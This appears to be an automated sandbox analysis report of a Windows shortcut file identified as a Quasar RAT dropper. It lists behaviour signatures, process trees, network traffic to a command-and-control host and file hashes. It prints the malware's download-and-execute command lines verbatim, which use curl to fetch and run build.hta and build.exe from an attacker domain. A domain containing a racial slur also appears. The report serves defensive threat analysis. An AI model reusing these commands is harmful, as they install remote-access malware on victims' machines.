Analysis Overview
SHA256
6f8196f6de261c3b0d45e9b847ae3cf706d99732778a7f86b954ea23e3dd342b
Threat Level: Known bad
The file cuh.txt.lnk was found to be: Known bad.
Malicious Activity Summary
Quasar RAT
Quasar payload
Downloads MZ/PE file
Checks computer location settings
Executes dropped EXE
Looks up external IP address via web service
Suspicious use of SetThreadContext
Drops file in System32 directory
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Enumerates system info in registry
Suspicious use of FindShellTrayWindow
Suspicious behavior: EnumeratesProcesses
Modifies registry class
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-08 21:46
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-08 21:46
Reported
2024-06-08 21:49
Platform
win7-20240220-en
Max time kernel
122s
Max time network
123s
Command Line
Signatures
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2176 wrote to memory of 2656 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2176 wrote to memory of 2656 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2176 wrote to memory of 2656 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\cuh.txt.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl -L https://mediafire.zip/build.hta -o "C:\Users\Admin\AppData\Local\Temp\build.hta" && "C:\Users\Admin\AppData\Local\Temp\build.hta"
Network
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-08 21:46
Reported
2024-06-08 21:48
Platform
win10v2004-20240426-en
Max time kernel
68s
Max time network
73s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\cmd.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\build.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\SysWOW64\build.exe | C:\Windows\SysWOW64\curl.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3092 set thread context of 3828 | N/A | C:\Windows\SysWOW64\build.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe |
Enumerates physical storage devices
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings | C:\Windows\System32\cmd.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe | N/A |
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe | N/A |
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\cuh.txt.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl -L https://mediafire.zip/build.hta -o "C:\Users\Admin\AppData\Local\Temp\build.hta" && "C:\Users\Admin\AppData\Local\Temp\build.hta"
C:\Windows\system32\curl.exe
curl -L https://mediafire.zip/build.hta -o "C:\Users\Admin\AppData\Local\Temp\build.hta"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\build.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl -L https://mediafire.zip/build.exe -o build.exe & build.exe
C:\Windows\SysWOW64\curl.exe
curl -L https://mediafire.zip/build.exe -o build.exe
C:\Windows\SysWOW64\build.exe
build.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://niggafart.com/
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc751646f8,0x7ffc75164708,0x7ffc75164718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2184,11671437008643798134,15755109213579363633,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2192 /prefetch:2
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2184,11671437008643798134,15755109213579363633,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 /prefetch:3
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2184,11671437008643798134,15755109213579363633,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2960 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,11671437008643798134,15755109213579363633,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,11671437008643798134,15755109213579363633,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,11671437008643798134,15755109213579363633,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4952 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2184,11671437008643798134,15755109213579363633,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5292 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2184,11671437008643798134,15755109213579363633,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5292 /prefetch:8
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | mediafire.zip | udp |
| US | 172.67.195.64:443 | mediafire.zip | tcp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.195.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.197.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 163.214.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 172.67.195.64:443 | mediafire.zip | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | roblox.airdns.org | udp |
| US | 64.42.179.59:62604 | roblox.airdns.org | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.179.42.64.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | niggafart.com | udp |
| US | 172.67.164.97:80 | niggafart.com | tcp |
| US | 172.67.164.97:80 | niggafart.com | tcp |
| US | 172.67.164.97:443 | niggafart.com | tcp |
| US | 8.8.8.8:53 | apps.identrust.com | udp |
| NL | 23.63.101.153:80 | apps.identrust.com | tcp |
| US | 8.8.8.8:53 | 97.164.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 153.101.63.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | a.nel.cloudflare.com | udp |
| US | 35.190.80.1:443 | a.nel.cloudflare.com | tcp |
| US | 35.190.80.1:443 | a.nel.cloudflare.com | udp |
| US | 8.8.8.8:53 | 1.80.190.35.in-addr.arpa | udp |
| N/A | 224.0.0.251:5353 | udp |
Files
C:\Users\Admin\AppData\Local\Temp\build.hta
| MD5 | 6316c03f1136af10c1435fbfd9ed3266 |
| SHA1 | 72dd8c35ed8d459dbbf511e036d7e671e403c500 |
| SHA256 | aa2cdaf08dfd772aefdb8989bb52eee87a0784b019278a7101920f46475cb87e |
| SHA512 | 064d114e20697d32a64dc2f9a2825016cb34edcd4e73aeffe45f768e82c966af439a8563ae28a4f37bad8ecfee3c2627ca032eb8a8b637c599af3e7548a5e406 |
C:\Windows\SysWOW64\build.exe
| MD5 | 05eecfc1820ab3273409323601a71f23 |
| SHA1 | 5076d5c3a1aa6f2ffcc299f803d0dd01b33d6dd7 |
| SHA256 | 4a72f3948f014c2ded502832814c6d65feb78bd1caef7df8bcecb78f7a90b6e2 |
| SHA512 | 81d10658aaf6d6341b929dcdb1eccd97dd752b7cbe7b497ed85b88a03ea540a2de6b24ae98ace353e861d1ea7ad181449e332dec26b075c4684c7286cc167a00 |
memory/3092-7-0x0000000000400000-0x0000000000704000-memory.dmp
memory/3828-8-0x0000000000D90000-0x0000000000DEE000-memory.dmp
memory/3828-9-0x0000000005EE0000-0x0000000006484000-memory.dmp
memory/3828-10-0x0000000005A90000-0x0000000005B22000-memory.dmp
memory/3828-11-0x0000000005B30000-0x0000000005B96000-memory.dmp
memory/3828-12-0x0000000006B40000-0x0000000006B52000-memory.dmp
memory/3828-13-0x0000000007180000-0x00000000071BC000-memory.dmp
memory/3828-15-0x0000000007710000-0x000000000771A000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
| MD5 | ecdc2754d7d2ae862272153aa9b9ca6e |
| SHA1 | c19bed1c6e1c998b9fa93298639ad7961339147d |
| SHA256 | a13d791473f836edcab0e93451ce7b7182efbbc54261b2b5644d319e047a00a7 |
| SHA512 | cd4fb81317d540f8b15f1495a381bb6f0f129b8923a7c06e4b5cf777d2625c30304aee6cc68aa20479e08d84e5030b43fbe93e479602400334dfdd7297f702f2 |
\??\pipe\LOCAL\crashpad_752_QJPUPFLHLAYIJJFJ
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
| MD5 | 2daa93382bba07cbc40af372d30ec576 |
| SHA1 | c5e709dc3e2e4df2ff841fbde3e30170e7428a94 |
| SHA256 | 1826d2a57b1938c148bf212a47d947ed1bfb26cfc55868931f843ee438117f30 |
| SHA512 | 65635cb59c81548a9ef8fdb0942331e7f3cd0c30ce1d4dba48aed72dbb27b06511a55d2aeaadfadbbb4b7cb4b2e2772bbabba9603b3f7d9c8b9e4a7fbf3d6b6b |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
| MD5 | 113f76b563956273e91c0d0779c06fc5 |
| SHA1 | 34ceb13eeab34fddaa94d56537c6d6f2eb861c44 |
| SHA256 | a4d8c3e7a654fee44f8657b1416c8c058c42a1cddd4162329ab14126b56a849f |
| SHA512 | 46baf52acc27bb04db02d5304ffe79a014c1d1c6a01477caf9d7b1b7abcb9c11c750298226814825a49c80b728e7ebd8ee1353241503021d2573738f7a36a44b |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
| MD5 | 6752a1d65b201c13b62ea44016eb221f |
| SHA1 | 58ecf154d01a62233ed7fb494ace3c3d4ffce08b |
| SHA256 | 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd |
| SHA512 | 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
| MD5 | fdc2123bc2e417071a738d125bcbe80f |
| SHA1 | 06afc3aed571aad6af62a7d6b1d12c125f0139b1 |
| SHA256 | b6799eae350dc2521ccceb9cfc3777d7191238abbee1fa80d4dd7e31a751053a |
| SHA512 | f4974c6d9a470e2e4827607d2f82fd63110347585801f43352eb5e7bf8da5a10ba55f03c63c7ace38851110bec40604a455cbce93887305123e2ded7379c4426 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
| MD5 | 8b0a2ad8b4b89c8aba77ecc2586b396a |
| SHA1 | 9196b30f47f4448b595ce5a5914e4262a260e347 |
| SHA256 | b9636b19f75180674997adacd854197b7df37d43d2aeca99a85f5e8379a2eef5 |
| SHA512 | 63e1e9e3ee7f9e2f40d370115bcf2b994bcd45276c22507f7640e6a7421c6ee6aac640cfabb24880722fdde39eff438205d13d48a5538ee6e0db8d41ada6cd41 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
| MD5 | 82832e4391749121a68719f75b09ff36 |
| SHA1 | 0916aeaf172b4da979f2b54d01e70c815954b3f6 |
| SHA256 | 4ac032c6433fdcde5fb1304403abe95725573f7618d20099d23fda452700dce0 |
| SHA512 | 5effacab94dfb0ce79f2ee2224e708dc78da459a10725deb25f71b76bddde29ad906513a7f680ea42b6bf57f5fcedeed5637bad9a268b3498bc6395b7e979f5e |